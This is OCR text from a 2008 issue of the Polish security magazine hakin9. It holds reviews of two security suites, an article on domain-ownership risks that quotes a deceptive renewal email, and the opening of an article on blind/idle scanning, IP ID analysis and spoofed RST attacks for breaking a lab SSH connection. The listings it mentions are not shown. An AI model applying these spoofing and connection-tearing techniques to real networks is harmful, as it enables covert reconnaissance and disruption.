Z przodu pudeka producent umieci spis podstawowych skadnikw zestawu, w ktrego skad wchodz: skaner antywirusowy VirusScan, skaner antyspyware'owy, firewall Personal Firewall Plus, program optymalizujcy dziaanie systemu, program do wykonywania kopii zapasowych DataBackup, filtr antyspamowy SpamKiller oraz program kontroli rodzicielskiej. Dodatkowo producent dostarcza plugin do przegldarki McAfee SiteAdvisor, ktry podpowiada, czy aktualnie odwiedzana strona jest bezpieczna dla naszego komputera. Zatem kupujc program powinnimy otrzyma wszystko, co potrzebne do ochrony domowego komputera. Na pudeku zostay podane take minimalne wymagania systemowe. W pudeku otrzymujemy krtk instrukcj McAfee Quick Start Guide w jzykach: angielskim, niemieckim, francuskim, holenderskim, hiszpaskim, brazylijskim, woskim, fiskim, szwedzkim, norweskim, czeskim, polskim i tureckim, a take pyt CD z oprogramowaniem i pen wersj instrukcji w jzyku zgodnym z jzykiem zakupionego programu. Do instalacji potrzebujemy: systemu Microsoft Windows 2000, XP lub Vista, procesora taktowanego szybkoci minimum 500MHz, 256MB pamici RAM oraz okoo 150MB miejsca na dysku twardym. Program jest wyposaony w wygodny instalator, ktry prowadzi uytkownika krok po kroku poprzez proces instalacji. Przed instalacj jest wykonywane skanowanie plikw systemowych oraz aktualnie uruchomionych programw. Niestety, podczas instalacji skadnikw systemu moemy dowiedzie si tylko, czy dany skadnik jest ju zainstalowany lub czy dopiero oczekuje na instalacj. Po zakoczeniu procesu instalacji programu znajdziemy jego ikonk w zasobniku systemowym. Po wykonaniu podwjnego kliknicia program SystemCenter rozpoczyna inicjalizacj, a w wypadku pierwszego uruchomienia wywietlane jest take okno z prob o rejestracj oprogramowania. Do rejestracji wymagane jest podanie jedynie imienia, nazwiska, adresu e-mail oraz wymylonego przez nas hasa. Po instalacji program aktualizuje komponenty oraz prosi nas o restart komputera. Po klikniciu na ikon M w zasobniku systemowym otwiera si panel ste-

rowania caym systemem. W gwnej czci programu widzimy informacje o stanie ochrony, natomiast z lewej strony dostpne jest menu opcji. Do wyboru s dwa interfejsy menu podstawowy (prostszy) oraz zaawansowany. W menu podstawowym otrzymujemy dostp do aktualizacji sygnatur baz wirusw, skanowania caego komputera, opcji optymalizujcych komputer oraz moliwoci zablokowania caego ruchu sieciowego. Menu zaawansowane pozwala natomiast na dokadn konfiguracj systemu. Moemy dowiedzie si, jakie zdarzenia miay miejsce w naszym komputerze (akcje antywirusa i zapory), mamy dostp do kwarantanny oraz moliwo odzyskania plikw, ktre zostay niesusznie oznaczone jako zainfekowane. Moemy sprawdzi take, ktre programy generuj najwicej ruchu sieciowego. Dziaajca w tle ochrona zapewniana przez program nie spowalnia w zauwaalnym stopniu komputera z procesorem Duron 1350+ oraz 1GB pamici DDR RAM. W przypadku posiadania sieci routowanej przez komputer z firewallem McAfee naley wyczy zapor w celu udostpniania Internetu innym komputerom. Damian Klimek

Rysunek 1. Internet Security Suite

14

hakin9 Nr 01/2008

www.hakin9.org

Narzdzia

Teleguard
Producent: TeleVox System: Windows 2000/2003/XP Typ: Teleguard Strona producenta: www.televox.pl Ocena: 4/5

Przy zakupie programu w zestawie dostajemy nastpujce aplikacje: Teledisk (niestety, w wersji angielskiej), Teleguard zawierajcy programy: Telesafe (suy do zabezpieczania hase) i Telelogin pozwalajcy dodatkowo zabezpieczy konto w Windowsie przy uyciu sprztowego tokena. Do dyspozycji mamy te Teletoken Manager program sucy do konfiguracji tokena oraz wtyczk Telezip i dodatek Teleshell, umoliwiajcy integracj z systemem Windows. Najbardziej atrakcyjnym elementem caego pakietu jest token sprztowy, ktry moemy sobie sami skonfigurowa. Instalacja systemu przebiega bezproblemowo przynajmniej przy wykorzystaniu systemu Windows XP. Instalator przeprowadza uytkownika krok po kroku przez cay proces, a interakcja odbywa si w jzyku polskim. Pomoc w pakiecie take jest zadowalajca, jednake dobre wraenie caoci troch psuje nieprzetumaczona pomoc dla programu Teledisk. Pakiet bez problemu integruje si z systemem Windows XP, pozwala nam atwo zaszyfrowa pliki przy korzystaniu z menu kontekstowego, daje rwnie moliwo wzmocnienia ochrony poprzez uycie tokena sprztowego. A teraz przyjrzyjmy si poszczeglnym aplikacjom dostpnym w pakiecie. Konfiguracja tokena za pomoc programu Teletoken Manager odbywa si w sposb cakowicie bezbolesny. Kreator prowadzi nas niemale za rczk, pewnym minusem jest tylko fakt, e kod PUK trzeba zapisa rcz-

Rysunek 3.Sprztowy Token nie brakuje opcji zapisu do pliku konfiguracji. Z drugiej strony, ze wzgldw bezpieczestwa to pozytywne zachowanie, poniewa nikt nam nie wykradnie kodu razem z plikiem. Gorzej bdzie, jak zapisany numer schowamy w jakiej ksice, ktr odoymy na pk. Istnieje moliwo naprawy tokena, jeeli co si w nim zepsuje. Program Telezip pozwala na wzmocnienie ochrony plikw archiwizowanych, aczkolwiek dostajemy go w takim formacie, e moemy mie problem z otwarciem archiwum na komputerze bez Telezipa. Telelogin jest interesujc aplikacj, ktra pozwoli cho troch wzmocni ochron Twoich danych w profilu, daje on moliwo stworzenia hasa rezerwowego w przypadku zgubienia tokena, natomiast nie chroni nas przed uytkownikiem, ktry zaloguje si do systemu na inne konto z uprawnieniami administratora ma wtedy moliwo podejrzenia naszych plikw. Niedopracowany jest program Teledisk kreatory s w jzyku polskim, a menu w jzyku angielskim. Nie wiem dlaczego, moe tylko mnie trafia si taka niewykoczona wersja? Aplikacja pozwala nam tworzy ukryte wolumeny w oparciu o rne algorytmy szyfrowania, pozwalajc uchroni cenne dane przed atakami z zewntrz. Oglnie pakiet wykorzystuje do szyfrowania gwnie algorytm AES, nazywany rwnie Rijndael. Podsumowujc mamy do czynienia z dobrym zestawem programw zabezpieczajcych, ktry wymaga jednake ostatecznego dopracowania i zwikszenia automatyzmu dziaania. Jarosaw Peterko

Rysunek 2. Konfiguracja Teleloginu

www.hakin9.org

hakin9 Nr 01/2008

15

Domeny zagroenia i ich skutki


Pocztki
Damian Daszkiewicz

stopie trudnoci

Posiadanie wasnej domeny internetowej to nie tylko presti. To rwnie szereg rnego rodzaju zagroe np. otrzymywanie zwikszonej iloci SPAMu, czy moliwo kradziey domeny.

odczas rejestracji domeny naley poda swoje dane osobowe (imi i nazwisko, adres, telefon, e-mail). Te dane s dostpne w publicznej bazie WHOIS. Dziki nim mona si skontaktowa z wacicielem domeny, nawet jeli na stronie internetowej nie podano adnych danych kontaktowych. W bazie WHOIS, oprcz danych adresowych waciciela domeny, s te inne informacje: nazwa i adres firmy, w ktrej domena bya rejestrowana, data rejestracji domeny i data jej wanoci (domen rejestruje si na rok czasu, jednak mona od razu zapaci za kilka lat z gry). Gdy wano domeny dobiega koca, naley wykupi kolejny rok abonamentu, albo po upyniciu terminu wanoci domena zostanie usunita. Jeli stwierdzisz, e konkretny rejestrator domeny Tobie nie odpowiada np. biuro obsugi klienta jest do niczego, albo ceny s zbyt wysokie, moesz tak domen przenie do innego rejestratora. Zazwyczaj takie przeniesienie jest darmowe, ale trzeba zapaci za koszt rocznego utrzymania domeny, ktrej wano zostanie automatycznie przeduona. Aby przenie domen, naley j odbezpieczy w panelu administracyjnym. Domylnie domeny s zabezpieczone, dziki czemu nikt nie przetransferuje cudzej domeny. Aby przenie niektre domeny (np. *.biz,

*.info), oprcz ich odbezpieczenia naley zna kod auth-info (jest to co w rodzaju hasa, ktre zna obecny rejestrator domeny kod ma za zadanie utrudni przeniesienie domeny osobie, ktra nie jest jej wacicielem).

Jak sprawdzi dane waciciela domeny

Jeli chcesz sprawdzi dane waciciela domeny, powiniene skorzysta z serwisu www.whois.net.

Z artykuu dowiesz si
co to jest WHOIS i w jaki sposb skontaktowa si z wacicielem domeny, jeli na stronie WWW nie ma informacji kontaktowych, jak przenie domen od obecnego do innego rejestratora, jak niektre firmy podkradaj klientw przy przeduaniu wanoci domeny.

Co powiniene wiedzie
czym jest domena, zna podstawowe informacje zwizane z rejestracj domeny internetowej.

16

hakin9 Nr 01/2008

www.hakin9.org

Zagroenia zwizane z posiadaniem domeny

Otrzymany e-mail
Naley odnowi domen XXX Twoja domena XXX ulegnie przedawnieniu za 90 dni. Moesz automatycznie odnowi domen z NAZWA FIRMY. Kliknij odnonik w emailu, aby przeduy wano domeny na nastpny rok. Powiniene odnowi rejestracj najszybciej jak to moliwe aby pozostaa zarejestrowana na Twoje dane. Kliknij tutaj, aby przeduy wano domeny http://www.NAZWA FIRMY.com/for.php?d=XXX. Jak tylko otrzymamy Twoj patno przelemy wiadomo, potwierdzajc, e wano Twojej domeny zostaa przeduona. Usugi i informacje zwizane z NAZWA FIRMY. NAZWA FIRMY zarzdza adresami, rejestracj, przedsiwziciami i wadzami zarzdzajcymi wasnosci domen internetowych. Informujemy przedsiebiorstwa, ktre domeny s zarejestrowane i przypominamy im jeli, domena moe ulec przedawnieniu lub jeli nadchodzi czas, aby odnowi rejestracj domeny. Jeli chcesz, aby NAZWA FIRMY przeduy rejestracj, kliknij w odnonik zawarty w tym emailu. Jeli nie chcesz uywa nazwy domeny po jej wyganiciu, moesz skasowa t wiadomo. adna informacja nie zmieni si w bazie WHOIS po przedueniu wanoci domeny przez NAZWA FIRMY. Wano domeny przeduy si o jeden rok, bdziesz mg kontynuowa wspprac z dotychczasowym dostawc. Moesz take poprosi swojego ISP o przeduenie wanoci domeny. W wypadku jakichkolwiek pyta prosimy o kontakt z naszym centrum obsugi klienta pod adresem email support@NAZWA FIRMY.com

catch-all.

Oznacza to, e cokolwiek si wpisze przed @nazwa_domeny to wiadomo e-mail dojdzie do Ciebie na domylny adres e-mail. Z pozoru jest to bardzo wygodna funkcja nie trzeba tworzy kilku kont e-mailowych (np. kontakt@nazwa_ domeny, admin@nazwa_domeny). Niestety, spamerzy monitoruj internet w poszukiwaniu nowo zarejestrowanych domen i prbuj wysya SPAM na adresy: sales@nazwa_ domeny, contact@nazwa_domeny, webmaster@nazwa_domeny info@ nazwa_domeny itp. Dlatego proponuj wyczy funkcj catch-all i zaoy kilka zwykych adresw e-mail. Z drugiej strony funkcja catch-all jest bardzo przydatna: jeli kto piszc do Ciebie e-mail popeni literwk przed znakiem mapy to wtedy taki e-mail i tak do Ciebie dojdzie.

W przypadku, gdy chcesz sprawdzi dane waciciela jakiej polskiej domeny innej ni z kocwk .pl (np. com.pl, net.pl), odpowiednim serwisem jest http://www.dns.pl/cgi-bin/whois.pl. Gdyby te strony nie dziaay, mona sprawdzi dane waciciela domeny w niektrych serwisach, ktre umoliwiaj rejestracj domeny. Pojawi si wtedy informacja, e podana domena jest zajta, a w czci serwisw pojawi si dodatkowo moliwo sprawdzenia, kto jest jej wacicielem. Jeli masz zainstalowany system operacyjny Linux, to problem jest jeszcze mniejszy wystarczy w terminalu wpisa polecenie whois nazwa _ domeny, np. whois daszkiewicz.net Rysunek 1. przedstawia fragment danych z bazy WHOIS dla domeny google.com. Jak widzisz, s tam podane dane adresowe firmy Google. Natomiast Rysunek 2. przedstawia fragment danych z bazy WHOIS dla domeny daszkiewicz.net. Poniewa wykupiem opcj ID Protect, nie wida moich danych osobowych (poza imieniem, nazwiskiem i tymczasowym adresem e-mail).

o tak elementarnych zasadach bezpieczestwa, jak nie podawanie nikomu loginu i hasa do panelu administracyjnego, czy kodu auth-info.

Zwikszona ilo SPAMu

Niebezpieczna funkcja catch-all

Podczas parkowania domeny na serwerze mona uaktywni funkcj

Posiadajc domen musisz si liczy z otrzymywaniem zwikszonej iloci SPAMu. Spamerzy monitoruj internet w poszukiwaniu nowych domen i pobieraj z bazy WHOIS adresy do webmasterw. Dlatego podczas rejestracji domeny proponuj nie poda-

Bezpieczestwo

Jeli posiadasz popularn domen, moe si zdarzy, e kto bdzie chcia j ukra. Chyba nie musz tutaj pisa

Rysunek 1. Dane z bazy WHOIS dla domeny google.com

www.hakin9.org

hakin9 Nr 01/2008

17

Pocztki

wa gwnego adresu e-mail. Zawsze mona zaoy darmowe konto pocztowe w jakim portalu i sprawdza nanim poczt do sporadycznie. Gdy sie okae, e na to konto przychodzi zbyt wiele SPAMu to wtedy naley zarejestrowa nowe konto pocztowe i dokona zmian w bazie WHOIS. Uwaga: musisz od czasu do czasu odbiera poczt z tamtego konta, gdy czasami na taki adres e-mail moe przyj jaka wana wiadomo np. przypomnienie o koniecznoci odnowienia domeny.

Terminologia
WHOIS Informacje o domenach internetowych mona uzyska przy pomocy WHOIS, czyli powszechnie dostpnej bazy danych o abonentach domen internetowych. WHOIS udostpnia nastpujce dane: nazwa abonenta domeny i adres (w przypadku domen rejestrowanych w NASK nie dotyczy to osb fizycznych, na podstawie Dz. U. z dnia 29 sierpnia 1997 r.), nazwy serwerw, na ktre jest delegowana domena oraz dane obsugujcego rejestratora. Transfer domeny moliwo przeniesienia domeny pomidzy rejestratorami. auth-info (auth-code) niektre domeny (np. *.biz, *.info) posiadaj specjalny kod auth-info, ktry zna tylko Twj rejestrator. Bez znajomoci tego kodu nie mona przenie domeny do innego rejestratora (jest to zabezpieczenie przed osobami, ktre chciayby ukra komu domen, przenoszc j do swojego rejestratora). ID Protect opcja (zazwyczaj dodatkowo patna) pozwalajca na ukrycie danych adresowych waciciela domeny w bazie WHOIS. catch-all jeli funkcja catch-all jest aktywna to poczta adresowana wedle szablonu dowolna_nazwa@domena jest kierowana na domyln skrzynk e-mail.

Regularnie spawdzaj, kiedy domena wyganie

Domen rejestruje si na okres minimum 1 roku. Gdy okres wanoci domeny zblia si ku kocowi, naley zapaci za odnowienie domeny, czyli przeduenie jej wanoci o kolejny rok. Kady powany rejestrator wysya np. 30 dni przed kocem wanoci domeny informacj o koniecznoci

odnowienia domeny. Jednak zdarzaj si przypadki niepowanych rejestratorw, ktrzy takich przypomnie nie wysyaj. Poza tym email z przypomnieniem moe nie doj. Dlatego dla wasnego bezpieczestwa zanotuj

kiedy domena traci wano. Mona w tym celu wykorzysta program przypominajcy o zbliajcych si rocznicach wikszo komrek posiada tego typu aplikacje. Poniewa przelew moe i kilka dni, nie zostawiaj przykrego obowizku pacenia na ostatni dzie. Polecam paci najpniej tydzie przed dniem zero. Jeli minie okres wanoci domeny, istnieje moliwo odzyskania domeny. Zazwyczaj okres od wyganicia wanoci domeny do jej fizycznego skasowania wynosi okoo 40 dni. Tutaj jednak radz uwaa, gdy niektre firmy pobieraj wysze opaty, gdy si spnisz z odnowieniem domeny. Przykadowo, pewna firma, w ktrej odnowienie domeny globalnej kosztuje 8 dolarw pobiera opat w wysokoci okoo 100 dolarw za odnowienie domeny, ktrej okres wanoci dobieg koca.

Praktyka pewnej firmy

Rysunek 2. Dane z bazy WHOIS dla domeny daszkiewicz.net

Niedawno otrzymaem e-mail z informacj, e jedna z moich domen wyganie za mniej ni 90 dni. W e-mailu by link z prob o przeduenie wanoci domeny, a na kocu wiadomoci znajdowaa si interesujca stopka z informacj, e firma, od ktrej dostaem e-mail, zajmuje si rejestracj domen oraz pilnowaniem i przeduaniem ich terminw wanoci. Oczywicie nie miaem nic wsplnego z t firm, poniewa korzystam z oferty innego usugodawcy. Aby byo ciekawiej, koszt odnowienia glo-

18

hakin9 Nr 01/2008

www.hakin9.org

Zagroenia zwizane z posiadaniem domeny

O autorze

Damian Daszkiewicz jest samoukiem od wielu lat interesujcym si informatyk i e-biznesem. Obecnie studiuje na Politechnice Rzeszowskiej na kierunku Informatyka. W roku 2003 wydawnictwo Helion opublikowao jego ksik Vademecum hakera. Edycja plikw binarnych. Kontakt z autorem: damian@daszkiewicz.net

balnej domeny wynosi mia prawie 50 euro, natomiast u mojego rejestratora ta usuga kosztuje zaledwie 8 dolarw. Ta nieuczciwa firma liczy na to, e email przeczyta niezbyt rozgarnita osoba, ktra nie pamita, u kogo rejestrowaa domen i zapaci za usug przeduenia jej wanoci sono przy tym przepacajc. Ramka Otrzymany e-mail przedstawia widomo, jak otrzymaem od takiej nieuczciwej firmy. Po przeczytaniu wiadomoci e-mail wida, e nie pojawia si ani razu informacja, i jej nadawca jest moim obecnym rejestratorem domeny. Wiadomo zostaa tak sprytnie zredagowana, e mona atwo doj do takiego wniosku.

Jak si przed tym broni?

Dziaalno tej firmy jest bardzo nieetyczna. Poza tym chyba nikt nie lubi paci wicej za produkty, ktre mona kupi taniej. Mog tutaj z czystym sumieniem powiedzie, e ta wtpliwej reputacji firma wykrada klientw innym, uczciwym usugodawcom. Warto pamita, w jakiej firmie bya rejestrowaR

na konkretna domena. Dziki temu, po otrzymaniu takiej wiadomoci bdziesz wiedzia, e jej nadawc nie jest firma, z ktr wsppracujesz. Jeli rejestrujesz domeny u rnych rejestratorw, na zasadzie dzisiaj pjd tam, gdzie jest najciekawsza promocja, koniecznie zapisuj w notatniku informacje dotyczce rejestracji kadej z domen. Ewentualnie, w celu sprawdzenia tych danych mona skorzysta z bazy WHOIS. Poniewa firma wysya e-maile do wacicieli domen, ktrych termin wanoci upynie za mniej ni 90 dni, wano domeny mona przeduy np. na 100 dni przed jej przedawnieniem si i w ten sposb unikn spamerskich wiadomoci. Mona rwnie wykupi usug ukrywania prywatnoci ID Protect (zwykle jest to dodatkowo patna opcja, ktra kosztuje okoo 10 dolarw za rok). Wtedy w bazie WHOIS nie bd podane Twoje dane adresowe, natomiast bdzie tam umieszczony tymczasowy adres e-mail (np. aoamq7oz@nameprivacy.com) ktry przekieruje poczt na Twj prawdziwy adres e-mail. Wtedy w programie E K L A M

pocztowym w polu do bdzie podany ten tymczasowy adres e-mail, wic bdziesz wiedzia, e nadawca wiadomoci uzyska go z bazy WHOIS. W przypadku domen z kocwk .pl, .com.pl itp. sprawa jest prostsza, gdy przy rejestracji domeny na osob fizyczn nie ma potrzeby umieszczania w bazie WHOIS Twoich danych adresowych.

Podsumowanie

Jeli otrzymasz jakkolwiek wiadomo e-mail dotyczc przeduenia domeny, sprawd czy jest to e-mail od firmy, w ktrej masz zarejestrowan domen. Moliwe, e w przyszoci inne firmy bd prboway w tak sprytny sposb wykrada klientw, dlatego zapisuj w notatniku z usug jakich firm korzystasz. Jeli nie jeste przekonany, czy dany e-mail pochodzi od firmy w ktrej masz wykupion domen, znajd faktur za domen powinien na niej by numer telefonu do rejestratora domeny. Warto rwnie rozway opcj wyczenia funkcji catch-all, aby nie otrzymywa zbyt wiele SPAMu. Jeli nie sta Ci na wykupienie opcji ID Protect to w bazie WHOIS podaj swj tymczasowy adres e-mail, ktry porzucisz, gdy zaczniesz otrzymywa zbyt wiele SPAMu. Nie zapomnij rwnie zapisa w terminarzu informacji, kiedy wano danej domeny dobiega koca. l A

Blind Attack
Atak
Konrad Malewski

stopie trudnoci

Skanowanie komputerw i odnajdywanie dziaajcych na nich usug od zawsze byo pasjonujcym zajciem, a techniki odkrywania tajemnic zdalnej maszyny ewoluoway od bardzo prostych tj. skanowania pakietami SYN, do bardzo finezyjnych jak jest choby technika blind scanning.

zaletach i celowoci skanowania nikogo chyba nie trzeba przekonywa. Obecnie stosowanych technik skanowania jest naprawd mnstwo. Wikszo z nich jest zaimplementowana w programach NMAP i AMAP. Skanery mog uywa technik kamuflau, ktre pozwalaj na uniknicie wykrycia. Niektrych z technik wykorzystanych w wymienionych skanerach mona uy do analizy pocze ustanowionych pomidzy dwoma komputerami, a nawet doprowadzi do ich rozczenia.

i analizowa odpowiedzi. Jeeli nadarzy si taka niezwykle rzadka okazja, jak podsuchiwanie ruchu maszyny nienalecej do naszej sieci, to naley wiedzie, e istniej lepsze techniki skanowania, ktre dodatkowo nie ujawniaj naszej ciekawoci. Tak technik jest pasywny skan/fingerprinting. Uywajc tej metody nie wysyamy adnych danych do skanowanego komputera, a jedynie analizujemy ruch prze-

Z artykuu dowiesz si
na czym polegaj ataki blind scanning, blind ARP scanning, blind RST, dlaczego losowo jest kluczowa dla bezpieczestwa systemowego, o zasadzie dziaania niektrych mechanizmw TCP/IP, jak wykorzysta Perla do pisania aplikacji sieciowych.

Cel skanowania

Celem oczywicie jest poznanie usug dziaajcych na skanowanym komputerze. Wikszo technik skanowania opiera si na wysyaniu pakietw testujcych i analizie odpowiedzi. Takie podejcie ma jednak wad na og ujawnia rdo skanowania co niekoniecznie jest korzystne dla naszego bezpieczestwa, a dodatkowo nic nie mwi o interesujcych nas poczeniach atakowanej maszyny. Sprawa ma si nieco inaczej, jeeli mamy moliwo podsuchiwania ruchu zwizanego ze skanowanym komputerem. Moemy wtedy sfaszowa adres rdowy wysyanych pakietw

Co powiniene wiedzie
posugiwa si systemem opartym o jdro Linuksa na poziomie uytkownika, zna podstawy Perla, zna podstawy TCP/IP.

20

hakin9 Nr 01/2008

www.hakin9.org

Blind Attack

W Sieci
http://www.sys-security.com/archive/papers/Network_Scanning_Techniques.pdf opis technik skanowania, http://insecure.org/nmap/man/man-port-scanning-techniques.html techniki skanowania wykorzystane w programie NMAP, http://freeworld.thc.org/thc-amap strona domowa skanera AMAP, http://ettercap.sourceforge.net narzdzie do atakw MITM, http://lcamtuf.coredump.cx/p0f.shtml najlepsze narzdzie do pasywnego skanowania, http://www.faqs.org/rfcs/rfc793.html dokumentacja opisujca TCP, http://www.osvdb.org/reference/SlippingInTheWindow_v1.0.doc analiza atakw RST, http://www.phrack.org/issues.html?issue=64 opis wykorzystania IP ID do rozczania hostw, http://insecure.org/nmap/idlescan.html opis skanowania lepego w NMAP, http://packetstormsecurity.org/mag/keen/kv13.txt artyku o BARP scanning, http://www.vanheusden.com/Linux/sp bezpieczestwo dla paranoikw, http://www.microsoft.com/technet/community/columns/cableguy/cg1105.mspx zmiany w nowym stosie TCP/IP Windows.

pywajcy od i do ofiary, co w wikszoci przypadkw zajmuje wicej czasu ni przy aktywnym skanowaniu. Korzystajc z tej techniki poznanie wszystkich otwartych portw moe by procesem dugotrwaym, ktry zaley wycznie od aktywnoci maszyny w sieci. Dla przykadu jeli nikt nie skorzysta z usugi SSH, nigdy nie wykryjemy obecnoci teje usugi. Majc do dyspozycji wymienione dwa sposoby, skanowanie aktywne i pasywne, naleaoby wybra pomidzy prdkoci a jakoci. Aktywne skany dostarczaj szybko dokadnych wynikw w przeciwiestwie do pasywnego skanowania, na ktrego wyniki naley czeka niekiedy tygodniami. Pasywne skanowanie jest bezpieczniejsze. Natomiast aktywne najczciej ujawnia adres rdowy skanera.

pozostawa w stanie bezczynnoci albo przynajmniej natenie ruchu wychodzcego nie powinno fluktuowa. Zanim przejdziemy do szczegw, naley przeanalizowa zachowanie stosw IP oraz TCP w niektrych przypadkach. Przypucimy, e posiadamy skonfigurowan sie komputerw skadajc si z trzech jednostek znajdujcych si w tej samej sieci. Komputery te maj adresy 172.16.83.1, 172.16.83.128 oraz 172.16.83.129. Na pierwszym i ostatnim zainstalowany jest system Tabela 1. Pocztkowy rozmiar okna System operacyjny Windows Vista Windows 2000 5.00.2195 SP4 Windows XP Home Edition SP1 Windows XP Professional SP2 HP-UX11 Nokia IPSO 3.6-FCS6 Cisco 12.2(8) Cisco 12.1(5) Cisco 12.0(7) Cisco 12.0(8) Windows 2000 5.00.2195 SP1 Windows 2000 5.00.2195 SP3 Linux 2.4.18 Linux 2.6.22

Linux, a komputer z kocwk 128 dziaa pod kontrol systemu Windows Vista. Naszym celem bdzie przerwanie poczenia pomidzy komputerem 172.16.83.129 (A) a komputerem 172.16.83.128 (B) dysponujc komputerem 172.16.83.1(C). Nasze moliwoci ograniczaj si do faszowania adresu rdowego wychodzcych pakietw. Przestawiamy kart sieciow komputera C w tryb promisc, aby nie odbiera wycznie pakietw z adresem 172.16.83.1. Pomidzy komputerami A i B nawizane jest poczenie SSH (serwer dziaa na komputerze A). Obiektem naszego zainteresowania bdzie flaga ID protokou IP. Najpierw naley zaobserwowa, jak systemy operacyjne ustalaj warto pola ID protokou IP. Znaczenie badanych pl znajdziemy w ramce. eby dowiedzie si, jak poszczeglne systemy ustalaj warto pola ID, naley przeprowadzi prosty eksperyment polegajcy na wywoaniu na komputerze C polecenia przedstawionego na Listingu 2. Przyjrzyjmy si polu ID, ktre jest inkrementowane o jeden. Natomiast w systemach linuksowych jest tak, jak pokazuje Listing 3. Pole ID jest ustawione na zero. Moemy sprbowa uy protokoPocztkowy rozmiar okna 8192 64512 64240 65535 32768 16384 16384 16384 16384 16384 16384 16384 5840 5840

Klasyczne skanowanie na lepo

Skanowanie na lepo (ang. blind scanning) jest inaczej zwane skanowaniem jaowym (ang. idle scanning). Technika ta zostaa zaimplementowana w programie nmap i polega na wykorzystaniu trzeciego komputera do przeprowadzenia skanowania. Komputer, ktry zostanie uyty jako przykrywka powinien

www.hakin9.org

hakin9 Nr 01/2008

21

Atak

u ICMP. W tym celu dodajemy przecznik -1 do polecenia hping2. Powinnimy zauway, e pola ID zarwno systemu Windows, jak i Linux s inkrementowane o jeden. Nie s to, tak jak si moglimy spodziewa, liczby zupenie losowe. Naley przeprowadzi dodatkowy eksperyment. Z komputera A wysyamy pakiety ICMP ECHO REQUEST do komputera B i vice versa, a potem przeprowadzamy ponownie eksperyment wysyajc pakiety z komputera C (patrz Listing 4). Szybki rzut oka na funkcj ip _ select _ ident jdra systemu Linux pozwoli nam odkry tajemnic tego zachowania. IP ID w Linuksie jest wybierane w sposb losowy i ma inne wartoci dla komunikacji z poszczeglnymi hostami i w obrbie poszczeglnych pocze. W momencie wybrania IP ID dla danego poczenia, ID kolejnych pakietw jest zwikszane o jeden. Systemy z rodziny Windows przechowuj globalny licznik pakietw, ktry jest uywany jako warto pola ID w nagwku IP. Dziki temu mechanizmowi, mona stwierdzi, czy dany host wysa pakiet, czy nie. Jeli pomidzy kolejnymi odpowiedziami pole ID zwikszy si wycznie o jeden, oznacza to, e nasz pakiet nie spowodowa wysania odpowiedzi. Metoda skanowania za pomoc tej techniki praktycznie narzu-

Terminologia
Tryb promisc karty sieciowej cytujc za Wikipedi: Tryb pracy interfejsu sieciowego (np. ethernetowej karty sieciowej), polegajcy na odbieraniu caego ruchu docierajcego do karty sieciowej, nie tylko skierowanego na adres MAC karty sieciowej. Host zombie komputer w podsieci skanera wykorzystywany jako przykrywka w skanowaniu. RFC z ang. Request for Comment. Cytujc z polskiej Wikipedii: Zbir technicznych oraz organizacyjnych dokumentw majcych form memorandum, zwizanych z Internetem oraz sieciami komputerowymi. Kady z nich ma przypisany unikalny numer identyfikacyjny, zwykle uywany przy wszelkich odniesieniach. Publikacj RFC zajmuje si Internet Engineering Task Force. Dokumenty nie maj mocy oficjalnej, jednak niektre z nich zostay pniej przeksztacone w oficjalne standardy sieciowe, np. opis wikszoci popularnych protokow sieciowych zosta pierwotnie opisany wanie w RFC. Fingerprinting technika skanowania pozwalajca na odkrycie wersji systemu operacyjnego, polegajca na badaniu szczeglnych cech pakietw przychodzcych od skanowanego komputera.

ca si sama. Skoro jestemy w stanie zbada, czy dany host wysa pakiet, czy nie, mona to wykorzysta do badania reakcji komputera B na informacje, ktre wyle mu komputer A. Mona wic zastosowa klasyczny SYN-SCAN faszujc adres rdowy. Zastanawiajc si, jakie informacje moe odesa A, dochodzimy do wniosku, e zachodz dwa przypadki: jeeli skanowany port jest otwarty, komputer odele pakiet z ustawionymi flagami SYN i ACK. PaUycie kolejnego portu Zwiksz o 1 Zwiksz o 512 Zwiksz o 512 Zwiksz o 512 Zwiksz o 1 Zwiksz o 1 Zwiksz o 1 Zwiksz o 1 Zwiksz o 1 Zwiksz o 1*

kiet tak sformatowany spowoduje odesanie przez B odpowiedzi z ustawion flag RST, poniewa B nie zada nawizania poczenia, jeeli skanowany port jest zamknity, komputer odele pakiet z ustawion flag RST lub w ogle nic nie odele, jeeli komputer jest odpowiednio skonfigurowany.

Tabela 2. Porty rdowe uywane przez poszczeglne systemy operacyjne System operacyjny Zaobserwowany port rdowy Cisco 12.2(8) Cisco 12.1(5) Cisco 12.0(7) Cisco 12.0(8) Windows 2000 5.00.2195 SP4 Windows 2000 5.00.2195 SP3 Windows XP Home Edition SP1 Windows Vista Linux 2.4.18 Linux 2.6.22 11000 48642 23106 11778 1038/1060 1060 1050 49158 32770 32768-61000, 10244999

* dla danego adresu docelowego

W przypadku A jestemy w stanie wykry odesanie odpowiedzi, natomiast w przypadku B jestemy w stanie wykry jej brak. Skanowanie bdzie wic polegao na wysaniu pakietu testujcego do B, pakietu ze sfaszowanym adresem rdowym do A oraz ponownie pakietu testujcego. Warto tutaj sowem komentarza opatrzy dwie rzeczy: ograniczenia czasowe oraz implementacj tej techniki w programie NMAP. Biorc pod uwag ograniczenia czasowe, naley zaway, e czas pomidzy dwoma kolejnymi prbami nie moe by krtszy ni RTT pomidzy A oraz B powikszonym o czas odpowiedzi B (tak dla pewnoci). Jeeli nasze prby bd zbyt czste, dojdzie do przekama w wynikach, poniewa odpowied od A nie zdy spowodowa odesania odpowiedzi przez B. Moliwa jest rwnie optymaliza-

22

hakin9 Nr 01/2008

www.hakin9.org

Blind Attack

cja tej techniki i minimalizacja liczby prb kierowanych z C do hosta zombie (czyli B). Program NMAP wysya nie jeden, lecz N pakietw z adresem rdowym rwnym B i docelowym A. Jeeli aden z portw nie jest otwarty, to kolejne testy IP ID powinny rni si o N. Technika ta zaimplementowana jest w programie NMAP. Aby wykona skanowanie tego typu, naley na komputerze C wyda polecenie przedstawione na Listingu 5.

mw, gdy zapytania ARP wysyane s do wszystkich komputerw w podsieci. Nasuchujc odpowiedzi ARP, skanujcy komputer jest w stanie okreli, czy testowany port jest otwarty, czy te nie.

Atak RST na ustanowione poczenie

A co, jeli chcemy dla zestawionego poczenia przeprowadzi atak RST (np. podobny do tego, ktry zosta przedstawiony w hakin9 2/2007

Listing 1. Fragmentacja pakietu o wielkoci 5000B


